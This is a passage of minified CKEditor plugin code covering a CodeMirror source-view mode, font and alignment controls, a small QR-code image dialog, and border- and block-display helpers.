e.is("div")&&!e.isReadOnly()}),1)}},function(){CKEDITOR.plugins.add("codemirror",{icons:"SearchCode,AutoFormat,CommentSelectedRange,UncommentSelectedRange,AutoComplete",lang:"af,ar,bg,bn,bs,ca,cs,cy,da,de,el,en-au,en-ca,en-gb,en,eo,es,et,eu,fa,fi,fo,fr-ca,fr,gl,gu,he,hi,hr,hu,is,it,ja,ka,km,ko,ku,lt,lv,mk,mn,ms,nb,nl,no,pl,pt-br,pt,ro,ru,sk,sl,sr-latn,sr,sv,th,tr,ug,uk,vi,zh-cn,zh",version:1.1,init:function(t){function n(){var e=[o+"js/codemirror.addons.min.js"];switch(r.mode){case"htmlmixed":case"text/html":e.push(o+"js/codemirror.mode.htmlmixed.min.js");break;case"application/x-httpd-php":e.push(o+"js/codemirror.mode.php.min.js");break;case"text/javascript":e.push(o+"js/codemirror.mode.javascript.min.js");break;default:e.push(o+"js/codemirror.mode.htmlmixed.min.js")}return r.useBeautify&&e.push(o+"js/beautify.min.js"),r.enableSearchTools&&e.push(o+"js/codemirror.addons.search.min.js"),e}function i(t){(i=t.ui.space("contents").getDocument().createElement("textarea")).setStyles(CKEDITOR.tools.extend({width:CKEDITOR.env.ie7Compat?"99%":"100%",height:"100%",resize:"none",outline:"none","text-align":"left"},CKEDITOR.tools.cssVendorPrefix("tab-size",t.config.sourceAreaTabSize||4)));var n,i,o=[t.lang.editor,t.name].join();if(i.setAttributes({dir:"ltr",tabIndex:CKEDITOR.env.webkit?-1:t.tabIndex,role:"textbox","aria-label":o}),i.addClass("cke_source cke_reset cke_enable_context_menu"),t.ui.space("contents").append(i),window["editable_"+t.id]=t.editable(new e(t,i)),window["editable_"+t.id].setData(t.getData(1)),window["editable_"+t.id].editorID=t.id,t.fire("ariaWidget",this),o=(i=window["editable_"+t.id]).getParent(),r.lineNumbers&&r.enableCodeFolding&&(window["foldFunc_"+t.id]=CodeMirror.newFoldFunction(CodeMirror.tagRangeFinder)),window["codemirror_"+t.id]=CodeMirror.fromTextArea(i.$,{mode:r.mode,matchBrackets:r.matchBrackets,matchTags:r.matchTags,workDelay:300,workTime:35,readOnly:t.config.readOnly,lineNumbers:r.lineNumbers,lineWrapping:r.lineWrapping,autoCloseTags:r.autoCloseTags,autoCloseBrackets:r.autoCloseBrackets,highlightSelectionMatches:r.highlightMatches,continueComments:r.continueComments,indentWithTabs:r.indentWithTabs,theme:r.theme,showTrailingSpace:r.showTrailingSpace,showCursorWhenSelecting:!0,extraKeys:{"Ctrl-Q":function(e){window["foldFunc_"+t.id](e,e.getCursor().line)}},onKeyEvent:function(e,n){if(r.enableCodeFormatting){var i=window["codemirror_"+t.id].getCursor(!0),o=window["codemirror_"+t.id].getCursor(!1);"keydown"!==n.type||!n.ctrlKey||75!==n.keyCode||n.shiftKey||n.altKey?"keydown"===n.type&&n.ctrlKey&&75===n.keyCode&&n.shiftKey&&!n.altKey?(window["codemirror_"+t.id].commentRange(!1,i,o),r.autoFormatOnUncomment&&window["codemirror_"+t.id].autoFormatRange(i,o)):"keydown"===n.type&&n.ctrlKey&&75===n.keyCode&&!n.shiftKey&&n.altKey&&window["codemirror_"+t.id].autoFormatRange(i,o):window["codemirror_"+t.id].commentRange(!0,i,o)}}}),i=o.$.clientHeight+"px",o=o.$.clientWidth+"px",window["codemirror_"+t.id].config=r,r.autoFormatOnStart)if(r.useBeautify){var a=window["codemirror_"+t.id].getValue();window["codemirror_"+t.id].setValue(html_beautify(a,4," ",120,"collapse"))}else window["codemirror_"+t.id].autoFormatAll({line:0,ch:0},{line:window["codemirror_"+t.id].lineCount(),ch:0});window["codemirror_"+t.id].on("change",(function(){clearTimeout(n),n=setTimeout((function(){var e=window["codemirror_"+t.id];e&&e.save()}),300)})),window["codemirror_"+t.id].setSize(o,i),r.lineNumbers&&r.enableCodeFolding&&window["codemirror_"+t.id].on("gutterClick",window["foldFunc_"+t.id]),r.highlightActiveLine&&(window["codemirror_"+t.id].hlLine=window["codemirror_"+t.id].addLineClass(0,"background","activeline"),window["codemirror_"+t.id].on("cursorActivity",(function(){try{var e=window["codemirror_"+t.id].getLineHandle(window["codemirror_"+t.id].getCursor().line)}catch(t){e=null}finally{null!=e&&e!=window["codemirror_"+t.id].hlLine&&(window["codemirror_"+t.id].removeLineClass(window["codemirror_"+t.id].hlLine,"background","activeline"),window["codemirror_"+t.id].hlLine=window["codemirror_"+t.id].addLineClass(e,"background","activeline"))}}))),"function"==typeof r.onLoad&&r.onLoad(window["codemirror_"+t.id],t)}var o=this.path,r=CKEDITOR.tools.extend({autoCloseBrackets:!0,autoCloseTags:!0,autoFormatOnStart:!1,autoFormatOnUncomment:!0,continueComments:!0,enableCodeFolding:!0,enableCodeFormatting:!0,enableSearchTools:!0,highlightActiveLine:!0,highlightMatches:!0,indentWithTabs:!1,lineNumbers:!0,lineWrapping:!0,mode:"htmlmixed",matchBrackets:!0,matchTags:!0,showAutoCompleteButton:!0,showCommentButton:!0,showFormatButton:!0,showSearchButton:!0,showTrailingSpace:!0,showUncommentButton:!0,theme:"default",useBeautify:!1},t.config.codemirror||{},!0),a=t.lang.codemirror;if(t.config.codemirror_theme&&(r.theme=t.config.codemirror_theme),t.config.codemirror_autoFormatOnStart&&(r.autoFormatOnStart=t.config.codemirror_autoFormatOnStart),t.elementMode===CKEDITOR.ELEMENT_MODE_INLINE)CKEDITOR.dialog.add("sourcedialog",(function(e){function t(e,t){var n;window["codemirror_"+e.id]=CodeMirror.fromTextArea(t,{mode:r.mode,matchBrackets:r.matchBrackets,matchTags:r.matchTags,workDelay:300,workTime:35,readOnly:e.config.readOnly,lineNumbers:r.lineNumbers,lineWrapping:r.lineWrapping,autoCloseTags:r.autoCloseTags,autoCloseBrackets:r.autoCloseBrackets,highligctionMatches:r.highlightMatches,continueComments:r.continueComments,indentWithTabs:r.indentWithTabs,theme:r.theme,showTrailingSpace:r.showTrailingSpace,showCursorWhenSelecting:!0,viewportMargin:1/0,extraKeys:{"Ctrl-Q":function(t){window["foldFunc_"+e.id](t,t.getCursor().line)}},onKeyEvent:function(t,n){if(r.enableCodeFormatting){var i=window["codemirror_"+e.id].getCursor(!0),o=window["codemirror_"+e.id].getCursor(!1);"keydown"!==n.type||!n.ctrlKey||75!==n.keyCode||n.shiftKey||n.altKey?"keydown"===n.type&&n.ctrlKey&&75===n.keyCode&&n.shiftKey&&!n.altKey?(window["codemirror_"+e.id].commentRange(!1,i,o),r.autoFormatOnUncomment&&window["codemirror_"+e.id].autoFormatRange(i,o)):"keydown"===n.type&&n.ctrlKey&&75===n.keyCode&&!n.shiftKey&&n.altKey&&window["codemirror_"+e.id].autoFormatRange(i,o):window["codemirror_"+e.id].commentRange(!0,i,o)}}});var i=c+"px",o=l+"px";if(window["codemirror_"+e.id].config=r,r.autoFormatOnStart)if(r.useBeautify){var a=window["codemirror_"+e.id].getValue();window["codemirror_"+e.id].setValue(html_beautify(a,4," ",120,"collapse"))}else window["codemirror_"+e.id].autoFormatAll({line:0,ch:0},{line:window["codemirror_"+e.id].lineCount(),ch:0});window["codemirror_"+e.id].on("change",(function(){clearTimeout(n),n=setTimeout((function(){var t=window["codemirror_"+e.id];t&&t.save()}),300)})),window["codemirror_"+e.id].setSize(o,i),r.lineNumbers&&r.enableCodeFolding&&window["codemirror_"+e.id].on("gutterClick",window["foldFunc_"+e.id]),r.highlightActiveLine&&(window["codemirror_"+e.id].hlLine=window["codemirror_"+e.id].addLineClass(0,"background","activeline"),window["codemirror_"+e.id].on("cursorActivity",(function(){var t=window["codemirror_"+e.id].getLineHandle(window["codemirror_"+e.id].getCursor().line);t!=window["codemirror_"+e.id].hlLine&&(window["codemirror_"+e.id].removeLineClass(window["codemirror_"+e.id].hlLine,"background","activeline"),window["codemirror_"+e.id].hlLine=window["codemirror_"+e.id].addLineClass(t,"background","activeline"))}))),"function"==typeof r.onLoad&&r.onLoad(window["codemirror_"+e.id],e)}var i,s=CKEDITOR.document.getWindow().getViewPaneSize(),l=Math.min(s.width-70,800),c=s.height/1.5;return{title:e.lang.sourcedialog.title,minWidth:l,minHeight:c,resizable:CKEDITOR.DIALOG_RESIZE_NONE,onShow:function(){this.getContentElement("main","data").focus(),this.getContentElement("main","AutoComplete").setValue(r.autoCloseTags,!0);var a=this.getContentElement("main","data").getInputElement().$;this.setValueOf("main","data",i=e.getData()),"undefined"==typeof CodeMirror?(CKEDITOR.document.appendStyleSheet(o+"css/codemirror.min.css"),r.theme.length&&"default"!=r.theme&&CKEDITOR.document.appendStyleSheet(o+"theme/"+r.theme+".css"),CKEDITOR.scriptLoader.load(o+"js/codemirror.min.js",(function(){CKEDITOR.scriptLoader.load(n(),(function(){t(e,a)}))}))):t(e,a)},onCancel:function(t){t.data.hide&&(window["codemirror_"+e.id].toTextArea(),window["codemirror_"+e.id]=null)},onOk:function(){function t(t){var n=this;e.setData(t,(function(){n.hide();var t=e.createRange();t.moveToElementEditStart(e.editable()),t.select()}))}return function(){window["codemirror_"+e.id].toTextArea(),window["codemirror_"+e.id]=null;var n=this.getValueOf("main","data").replace(/\r/g,"");return n===i||(CKEDITOR.env.ie?CKEDITOR.tools.setTimeout(t,0,this,n):t.call(this,n),!1)}}(),contents:[{id:"main",label:e.lang.sourcedialog.title,elements:[{type:"hbox",style:"width: 80px;margin:0;",widths:["20px","20px","20px","20px"],children:[{type:"button",id:"searchCode",label:"",title:a.searchCode,class:"searchCodeButton",onClick:function(){CodeMirror.commands.find(window["codemirror_"+e.id])}},{type:"button",id:"autoFormat",label:"",title:a.autoFormat,class:"autoFormat",onClick:function(){var t=window["codemirror_"+e.id].getCursor(!0),n=window["codemirror_"+e.id].getCursor(!1);window["codemirror_"+e.id].autoFormatRange(t,n)}},{type:"button",id:"CommentSelectedRange",label:"",title:a.commentSelectedRange,class:"CommentSelectedRange",onClick:function(){var t=window["codemirror_"+e.id].getCursor(!0),n=window["codemirror_"+e.id].getCursor(!1);window["codemirror_"+e.id].commentRange(!0,t,n)}},{type:"button",id:"UncommentSelectedRange",label:"",title:a.uncommentSelectedRange,class:"UncommentSelectedRange",onClick:function(){var t=window["codemirror_"+e.id].getCursor(!0),n=window["codemirror_"+e.id].getCursor(!1);window["codemirror_"+e.id].commentRange(!1,t,n),window["codemirror_"+e.id].config.autoFormatOnUncomment&&window["codemirror_"+e.id].autoFormatRange(t,n)}}]},{type:"checkbox",id:"AutoComplete",label:a.autoCompleteToggle,title:a.autoCompleteToggle,onChange:function(){window["codemirror_"+e.id].setOption("autoCloseTags",this.getValue())}},{type:"textarea",id:"data",dir:"ltr",inputStyle:"cursor:auto;width:"+l+"px;height:"+c+"px;tab-size:4;text-align:left;",class:"cke_source cke_enable_context_menu"}]}]}}));else{var s=CKEDITOR.plugins.sourcearea;s.commands.searchCode||(CKEDITOR.plugins.sourcearea.commands={source:{modes:{wysiwyg:1,source:1},editorFocus:!1,readOnly:1,exec:function(e){"wysiwyg"===e.mode&&e.fire("saveSnapshot"),e.getCommand("source").setState(CKEDITOR.TRISTATE_DISABLED),e.setMode("source"===e.mode?"wysiwyg":"source")},canUndo:!1},searchCode:{modes:{wysiwyg:0,source:1},editorFocus:!1,readOnly:1,exec:function(e){CodeMirror.commands.find(window["codemirror_"+e.id])},canUndo:!0},autoFormat:{modes:{wysiwyg:0,source:1},editorFocus:!1,readOnly:1,exec:function(e){var t=window["codemirror_"+e.id].getCursor(!0),n=window["codemirror_"+e.id].getCursor(!1);window["codemirror_"+e.id].autoFormatRange(t,n)},canUndo:!0},commentSelectedRange:{modes:{wysiwyg:0,source:1},editorFocus:!1,readOnly:1,exec:function(e){var t=window["codemirror_"+e.id].getCursor(!0),n=window["codemirror_"+e.id].getCursor(!1);window["codemirror_"+e.id].commentRange(!0,t,n)},canUndo:!0},uncommentSelectedRange:{modes:{wysiwyg:0,source:1},editorFocus:!1,readOnly:1,exec:function(e){var t=window["codemirror_"+e.id].getCursor(!0),n=window["codemirror_"+e.id].getCursor(!1);window["codemirror_"+e.id].commentRange(!1,t,n),window["codemirror_"+e.id].config.autoFormatOnUncomment&&window["codemirror_"+e.id].autoFormatRange(t,n)},canUndo:!0},autoCompleteToggle:{modes:{wysiwyg:0,source:1},editorFocus:!1,readOnly:1,exec:function(e){this.state==CKEDITOR.TRISTATE_ON?window["codemirror_"+e.id].setOption("autoCloseTags",!1):this.state==CKEDITOR.TRISTATE_OFF&&window["codemirror_"+e.id].setOption("autoCloseTags",!0),this.toggleState()},canUndo:!0}}),t.addMode("source",(function(e){"undefined"==typeof CodeMirror?(CKEDITOR.document.appendStyleSheet(o+"css/codemirror.min.css"),r.theme.length&&"default"!=r.theme&&CKEDITOR.document.appendStyleSheet(o+"theme/"+r.theme+".css"),CKEDITOR.scriptLoader.load(o+"js/codemirror.min.js",(function(){CKEDITOR.scriptLoader.load(n(),(function(){i(t),e()}))}))):(i(t),e())})),t.addCommand("source",s.commands.source),t.ui.addButton&&t.ui.addButton("Source",{label:t.lang.codemirror.toolbar,command:"source",toolbar:"mode,10"}),r.enableCodeFormatting&&(t.addCommand("searchCode",s.commands.searchCode),t.addCommand("autoFormat",s.commands.autoFormat),t.addCommand("commentSelectedRange",s.commands.commentSelectedRange),t.addCommand("uncommentSelectedRange",s.commands.uncommentSelectedRange),t.addCommand("autoCompleteToggle",s.commands.autoCompleteToggle),t.ui.addButton&&((r.showFormatButton||r.showCommentButton||r.showUncommentButton||r.showSearchButton)&&t.ui.add("-",CKEDITOR.UI_SEPARATOR,{toolbar:"mode,30"}),r.showSearchButton&&r.enableSearchTools&&t.ui.addButton("searchCode",{label:a.searchCode,command:"searchCode",toolbar:"mode,40"}),r.showFormatButton&&t.ui.addButton("autoFormat",{label:a.autoFormat,command:"autoFormat",toolbar:"mode,50"}),r.showCommentButton&&t.ui.addButton("CommentSelectedRange",{label:a.commentSelectedRange,command:"commentSelectedRange",toolbar:"mode,60"}),r.showUncommentButton&&t.ui.addButton("UncommentSelectedRange",{label:a.uncommentSelectedRange,command:"uncommentSelectedRange",toolbar:"mode,70"}),r.showAutoCompleteButton&&t.ui.addButton("AutoComplete",{label:a.autoCompleteToggle,command:"autoCompleteToggle",toolbar:"mode,80"}))),t.on("beforeModeUnload",(function(e){if("source"===t.mode&&t.plugins.textselection){var n=t.getTextSelection();n.startOffset=c(window["codemirror_"+t.id],window["codemirror_"+t.id].getCursor(!0)),n.endOffset=c(window["codemirror_"+t.id],window["codemirror_"+t.id].getCursor(!1)),delete n.element,n.createBookmark(),sourceBookmark=!0,e.data=n.content}})),t.on("mode",(function(){var e,n;t.getCommand("source").setState("source"===t.mode?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF),"source"===t.mode&&(t.getCommand("autoCompleteToggle").setState(window["codemirror_"+t.id].config.autoCloseTags?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF),t.plugins.textselection&&textRange&&(textRange.element=new CKEDITOR.dom.element(t._.editable.$),textRange.select(),e=d(window["codemirror_"+t.id],textRange.startOffset),void 0===textRange.endOffset?window["codemirror_"+t.id].setCursor(e):(n=d(window["codemirror_"+t.id],textRange.endOffset),window["codemirror_"+t.id].setSelection(e,n))))})),t.on("resize",(function(){if(window["editable_"+t.id]&&"source"===t.mode){var e=window["editable_"+t.id].getParent();window["codemirror_"+t.id].setSize(e.$.clientWidth+"px",e.$.clientHeight+"px")}})),t.on("readOnly",(function(){window["editable_"+t.id]&&"source"===t.mode&&window["codemirror_"+t.id].setOption("readOnly",this.readOnly)})),t.on("instanceReady",(function(){var e=t.commands.selectAll;null!=e&&(e.exec=function(){if("source"===t.mode)window["codemirror_"+t.id].setSelection({line:0,ch:0},{line:window["codemirror_"+t.id].lineCount(),ch:0});else{var e=t.editable();if(e.is("body"))t.document.$.execCommand("SelectAll",!1,null);else{var n=t.createRange();n.selectNodeContents(e),n.select()}t.forceNextSelectionCheck(),t.selectionChange()}})})),t.on("setData",(function(e){window["editable_"+t.id]&&"source"===t.mode&&window["codemirror_"+t.id].setValue(e.data.dataValue)}))}}});var e=CKEDITOR.tools.createClass({base:CKEDITOR.editable,proto:{setData:function(e){this.setValue(e),null!=this.codeMirror&&this.codeMirror.setValue(e),this.editor.fire("dataReady")},getData:function(){return this.getValue()},insertHtml:function(){},insertElement:function(){},insertText:function(){},setReadOnly:function(e){this[(e?"set":"remove")+"Attribute"]("readOnly","readonly")},editorID:null,detach:function(){window["codemirror_"+this.editorID].toTextArea(),window["editable_"+this.editorID]=null,window["codemirror_"+this.editorID]=null,e.baseProto.detach.call(this),this.clearCustomData(),this.remove()}}})}(),CKEDITOR.plugins.sourcearea={commands:{source:{modes:{wysiwyg:1,source:1},editorFocus:!1,readOnly:1,exec:function(e){"wysiwyg"===e.mode&&e.fire("saveSnapshot"),e.getCommand("source").setState(CKEDITOR.TRISTATE_DISABLED),e.setMode("source"===e.mode?"wysiwyg":"source")},canUndo:!1},searchCode:{modes:{wysiwyg:0,source:1},editorFocus:!1,readOnly:1,exec:function(e){CodeMirror.commands.find(window["codemirror_"+e.id])},canUndo:!0},autoFormat:{modes:{wysiwyg:0,source:1},editorFocus:!1,readOnly:1,exec:function(e){var t=window["codemirror_"+e.id].getCursor(!0),n=window["codemirror_"+e.id].getCursor(!1);window["codemirror_"+e.id].autoFormatRange(t,n)},canUndo:!0},commentSelectedRange:{modes:{wysiwyg:0,source:1},editorFocus:!1,readOnly:1,exec:function(e){var t=window["codemirror_"+e.id].getCursor(!0),n=window["codemirror_"+e.id].getCursor(!1);window["codemirror_"+e.id].commentRange(!0,t,n)},canUndo:!0},uncommentSelectedRange:{modes:{wysiwyg:0,source:1},editorFocus:!1,readOnly:1,exec:function(e){var t=window["codemirror_"+e.id].getCursor(!0),n=window["codemirror_"+e.id].getCursor(!1);window["codemirror_"+e.id].commentRange(!1,t,n),window["codemirror_"+e.id].config.autoFormatOnUncomment&&window["codemirror_"+e.id].autoFormatRange(t,n)},canUndo:!0},autoCompleteToggle:{modes:{wysiwyg:0,source:1},editorFocus:!1,readOnly:1,exec:function(e){this.state==CKEDITOR.TRISTATE_ON?window["codemirror_"+e.id].setOption("autoCloseTags",!1):this.state==CKEDITOR.TRISTATE_OFF&&window["codemirror_"+e.id].setOption("autoCloseTags",!0),this.toggleState()},canUndo:!0}}},function(){function e(e,t,n,i,o,r,a,s){for(var l=e.config,c=new CKEDITOR.style(a),d=o.split(";"),u=(o=[],{}),h=0;h<d.length;h++)if(m=d[h]){var m=m.split("/"),f={},E=d[h]=m[0];f[n]=o[h]=m[1]||E,u[E]=new CKEDITOR.style(a,f),u[E]._.definition.name=E}else d.splice(h--,1);e.ui.addRichCombo(t,{label:i.label,title:i.panelTitle,toolbar:"styles,"+s,allowedContent:c,requiredContent:c,panel:{css:[CKEDITOR.skin.getPath("editor")].concat(l.contentsCss),multiSelect:!1,attributes:{"aria-label":i.panelTitle}},init:function(){this.startGroup(i.panelTitle);for(var e=0;e<d.length;e++){var t=d[e];this.add(t,u[t].buildPreview(),t)}},onClick:function(t){e.focus(),e.fire("saveSnapshot");var n=u[t];e[this.getValue()==t?"removeStyle":"applyStyle"](n),e.fire("saveSnapshot")},onRender:function(){e.on("selectionChange",(function(e){for(var t,n=this.getValue(),i=(e=e.data.path.elements,0);i<e.length;i++)for(var o in t=e[i],u)if(u[o].checkElementMatch(t,!0))return void(o!=n&&this.setValue(o));this.setValue("",r)}),this)},refresh:function(){e.activeFilter.check(c)||this.setState(CKEDITOR.TRISTATE_DISABLED)}})}CKEDITOR.plugins.add("font",{requires:"richcombo",init:function(t){var n=t.config;e(t,"Font","family",t.lang.font,n.font_names,n.font_defaultLabel,n.font_style,30),e(t,"FontSize","size",t.lang.font.fontSize,n.fontSize_sizes,n.fontSize_defaultLabel,n.fontSize_style,40)}})}(),CKEDITOR.config.font_names="Arial/Arial, Helvetica, sans-serif;Comic Sans MS/Comic Sans MS, cursive;Courier New/Courier New, Courier, monospace;Georgia/Georgia, serif;Lucida Sans Unicode/Lucida Sans Unicode, Lucida Grande, sans-serif;Tahoma/Tahoma, Geneva, sans-serif;Times New Roman/Times New Roman, Times, serif;Trebuchet MS/Trebuchet MS, Helvetica, sans-serif;Verdana/Verdana, Geneva, sans-serif",CKEDITOR.config.font_defaultLabel="",CKEDITOR.config.font_style={element:"span",styles:{"font-family":"#(family)"},overrides:[{element:"font",attributes:{face:null}}]},CKEDITOR.config.fontSize_sizes="8/8px;9/9px;10/10px;11/11px;12/12px;14/14px;16/16px;18/18px;20/20px;22/22px;24/24px;26/26px;28/28px;36/36px;48/48px;72/72px",CKEDITOR.config.fontSize_defaultLabel="",CKEDITOR.config.fontSize_style={element:"span",styles:{"font-size":"#(size)"},overrides:[{element:"font",attributes:{size:null}}]},function(){function e(e,t){var n;if(t=void 0===t||t)n=e.getComputedStyle("text-align");else{for(;(!e.hasAttribute||!e.hasAttribute("align")&&!e.getStyle("text-align"))&&(n=e.getParent());)e=n;n=e.getStyle("text-align")||e.getAttribute("align")||""}return n&&(n=n.replace(/(?:-(?:moz|webkit)-)?(?:start|auto)/i,"")),!n&&t&&(n="rtl"==e.getComputedStyle("direction")?"right":"left"),n}function t(e,t,n){this.editor=e,this.name=t,this.value=n,this.context="p",t=e.config.justifyClasses;var i=e.config.enterMode==CKEDITOR.ENTER_P?"p":"div";if(t){switch(n){case"left":this.cssClassName=t[0];break;case"center":this.cssClassName=t[1];break;case"right":this.cssClassName=t[2];break;case"justify":this.cssClassName=t[3]}this.cssClassRegex=RegExp("(?:^|\\s+)(?:"+t.join("|")+")(?=$|\\s)"),this.requiredContent=i+"("+this.cssClassName+")"}else this.requiredContent=i+"{text-align}";this.allowedContent={"caption div h1 h2 h3 h4 h5 h6 p pre td th li":{propertiesOnly:!0,styles:this.cssClassName?null:"text-align",classes:this.cssClassName||null}},e.config.enterMode==CKEDITOR.ENTER_BR&&(this.allowedContent.div=!0)}function n(e){var t=e.editor,n=t.createRange();n.setStartBefore(e.data.node),n.setEndAfter(e.data.node);for(var i,o=new CKEDITOR.dom.walker(n);i=o.next();)if(i.type==CKEDITOR.NODE_ELEMENT)if(!i.equals(e.data.node)&&i.getDirection())n.setStartAfter(i),o=new CKEDITOR.dom.walker(n);else{var r=t.config.justifyClasses;r&&(i.hasClass(r[0])?(i.removeClass(r[0]),i.addClass(r[2])):i.hasClass(r[2])&&(i.removeClass(r[2]),i.addClass(r[0]))),"left"==(r=i.getStyle("text-align"))?i.setStyle("text-align","right"):"right"==r&&i.setStyle("text-align","left")}}t.prototype={exec:function(t){var n=t.getSelection(),i=t.config.enterMode;if(n){for(var o,r,a=n.createBookmarks(),s=n.getRanges(),l=this.cssClassName,c=void 0===(c=t.config.useComputedState)||c,d=s.length-1;0<=d;d--)for((o=s[d].createIterator()).enlargeBr=i!=CKEDITOR.ENTER_BR;r=o.getNextParagraph(i==CKEDITOR.ENTER_P?"p":"div");)if(!r.isReadOnly()){r.removeAttribute("align"),r.removeStyle("text-align");var u=l&&(r.$.className=CKEDITOR.tools.ltrim(r.$.className.replace(this.cssClassRegex,""))),h=this.state==CKEDITOR.TRISTATE_OFF&&(!c||e(r,!0)!=this.value);l?h?r.addClass(l):u||r.removeAttribute("class"):h&&r.setStyle("text-align",this.value)}t.focus(),t.forceNextSelectionCheck(),n.selectBookmarks(a)}},refresh:function(t,n){var i=n.block||n.blockLimit;this.setState("body"!=i.getName()&&e(i,this.editor.config.useComputedState)==this.value?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF)}},CKEDITOR.plugins.add("justify",{init:function(e){if(!e.blockless){var i=new t(e,"justifyleft","left"),o=new t(e,"justifycenter","center"),r=new t(e,"justifyright","right"),a=new t(e,"justifyblock","justify");e.addCommand("justifyleft",i),e.addCommand("justifycenter",o),e.addCommand("justifyright",r),e.addCommand("justifyblock",a),e.ui.addButton&&(e.ui.addButton("JustifyLeft",{label:e.lang.justify.left,command:"justifyleft",toolbar:"align,10"}),e.ui.addButton("JustifyCenter",{label:e.lang.justify.center,command:"justifycenter",toolbar:"align,20"}),e.ui.addButton("JustifyRight",{label:e.lang.justify.right,command:"justifyright",toolbar:"align,30"}),e.ui.addButton("JustifyBlock",{label:e.lang.justify.block,command:"justifyblock",toolbar:"align,40"})),e.on("dirChanged",n)}}})}(),CKEDITOR.plugins.add("qrc",{init:function(e){e.addCommand("qrc",new CKEDITOR.dialogCommand("qrc")),e.ui.addButton("qrc",{label:"Insert a ZS Google QR-Code picture",command:"qrc",icon:this.path+"images/qrc.png"}),CKEDITOR.dialog.add("qrc",(function(e){return{title:"ZmajSoft QR-Code Picture generator",minWidth:400,minHeight:200,contents:[{id:"qrc_general",label:"QR Settings",elements:[{type:"html",html:"This dialog window lets you create and embed into text simple Google QR-Code Picture. "},{type:"text",id:"txt",label:"Enter ANY text, code or mix",validate:CKEDITOR.dialog.validate.notEmpty("Can NOT be empty."),required:!0,commit:function(e){e.txt=this.getValue()}},{type:"text",id:"siz",label:"Enter picture size ( eg 300)",validate:CKEDITOR.dialog.validate.notEmpty("Can NOT be empty."),required:!0,commit:function(e){e.siz=this.getValue()}},{type:"html",html:'If you have problems Email to zmajsoft@zmajsoft.com </br> <a href="www.zmajsoft.com" target="_blank">zmmaj</a> from zmajSoft-team'}]}],onOk:function(){var t={};e.document.createElement("a"),this.commitContent(t),e.insertHtml('<img src="https://chart.googleapis.com/chart?cht=qr&chs='+t.siz+"x"+t.siz+"&chl="+t.txt+'&choe=UTF-8 &chld=H |4"/>')}}}))}}),s={preserveState:!0,editorFocus:!1,readOnly:1,exec:function(e){this.toggleState(),this.refresh(e)},refresh:function(e){if(e.document){var t=this.state==CKEDITOR.TRISTATE_ON?"attachClass":"removeClass";e.editable()[t]("cke_show_borders")}}},CKEDITOR.plugins.add("showborders",{modes:{wysiwyg:1},onLoad:function(){var e;e=(CKEDITOR.env.ie6Compat?[".%1 table.%2,",".%1 table.%2 td, .%1 table.%2 th","{","border : #d3d3d3 1px dotted","}"]:".%1 table.%2,;.%1 table.%2 > tr > td, .%1 table.%2 > tr > th,;.%1 table.%2 > tbody > tr > td, .%1 table.%2 > tbody > tr > th,;.%1 table.%2 > thead > tr > td, .%1 table.%2 > thead > tr > th,;.%1 table.%2 > tfoot > tr > td, .%1 table.%2 > tfoot > tr > th;{;border : #d3d3d3 1px dotted;}".split(";")).join("").replace(/%2/g,"cke_show_border").replace(/%1/g,"cke_show_borders "),CKEDITOR.addCss(e)},init:function(e){var t=e.addCommand("showborders",s);t.canUndo=!1,!1!==e.config.startupShowBorders&&t.setState(CKEDITOR.TRISTATE_ON),e.on("mode",(function(){t.state!=CKEDITOR.TRISTATE_DISABLED&&t.refresh(e)}),null,null,100),e.on("contentDom",(function(){t.state!=CKEDITOR.TRISTATE_DISABLED&&t.refresh(e)})),e.on("removeFormatCleanup",(function(t){t=t.data,e.getCommand("showborders").state==CKEDITOR.TRISTATE_ON&&t.is("table")&&(!t.hasAttribute("border")||0>=parseInt(t.getAttribute("border"),10))&&t.addClass("cke_show_border")}))},afterInit:function(e){e=(t=e.dataProcessor)&&t.dataFilter;var t=t&&t.htmlFilter;e&&e.addRules({elements:{table:function(e){var t=(e=e.attributes).class,n=parseInt(e.border,10);n&&!(0>=n)||t&&-1!=t.indexOf("cke_show_border")||(e.class=(t||"")+" cke_show_border")}}}),t&&t.addRules({elements:{table:function(e){var t=(e=e.attributes).class;t&&(e.class=t.replace("cke_show_border","").replace(/\s{2}/," ").replace(/^\s+|\s+$/,""))}}})}}),CKEDITOR.on("dialogDefinition",(function(e){var t=e.data.name;"table"!=t&&"tableProperties"!=t||((t=(e=e.data.definition).getContents("info").get("txtBorder")).commit=CKEDITOR.tools.override(t.commit,(function(e){return function(t,n){e.apply(this,arguments);var i=parseInt(this.getValue(),10);n[!i||0>=i?"addClass":"removeClass"]("cke_show_border")}})),(e=(e=e.getContents("advanced"))&&e.get("advCSSClasses"))&&(e.setup=CKEDITOR.tools.override(e.setup,(function(e){return function(){e.apply(this,arguments),this.setValue(this.getValue().replace(/cke_show_border/,""))}})),e.commit=CKEDITOR.tools.override(e.commit,(function(e){return function(t,n){e.apply(this,arguments),parseInt(n.getAttribute("border"),10)||n.addClass("cke_show_border")}}))))})),function(){var e={readOnly:1,preserveState:!0,editorFocus:!1,exec:function(e){this.toggleState(),this.refresh(e)},refresh:function(e){if(e.document){var t=this.state!=CKEDITOR.TRISTATE_ON||e.elementMode==CKEDITOR.ELEMENT_MODE_INLINE&&!e.focusManager.hasFocus?"removeClass":"attachClass";e.editable()[t]("cke_show_blocks")}}};CKEDITOR.plugins.add("showblocks",{onLoad:function(){function e(e){return".%1.%2 p,.%1.%2 div,.%1.%2 pre,.%1.%2 address,.%1.%2 blockquote,.%1.%2 h1,.%1.%2 h2,.%1.%2 h3,.%1.%2 h4,.%1.%2 h5,.%1.%2 h6{background-position: top %3;padding-%3: 8px;}".replace(/%1/g,"cke_show_blocks").replace(/%2/g,"cke_contents_"+e).replace(/%3/g,"rtl"==e?"right":"left")}CKEDITOR.addCss(".%2 p,.%2 div,.%2 pre,.%2 address,.%2 blockquote,.%2 h1,.%2 h2,.%2 h3,.%2 h4,.%2 h5,.%2 h6{background-repeat: no-repeat;border: 1px dotted gray;padding-top: 8px;}.%2 p{%1p.png);}.%2 div{%1div.png);}.%2 pre{%1pre.png);}.%2 address{%1address.png);}.%2 blockquote{%1blockquote.png);}.%2 h1{%1h1.png);}.%2 h2{%1h2.png);}.%2 h3{%1h3.png);}.%2 h4{%1h4.png);}.%2 h5{%1h5.png);}.%2 h6{%1h6.png);}".replace(/%1/g,"background-image: url("+CKEDITOR.getUrl(this.path)+"images/block_").replace(/%2/g,"cke_show_blocks 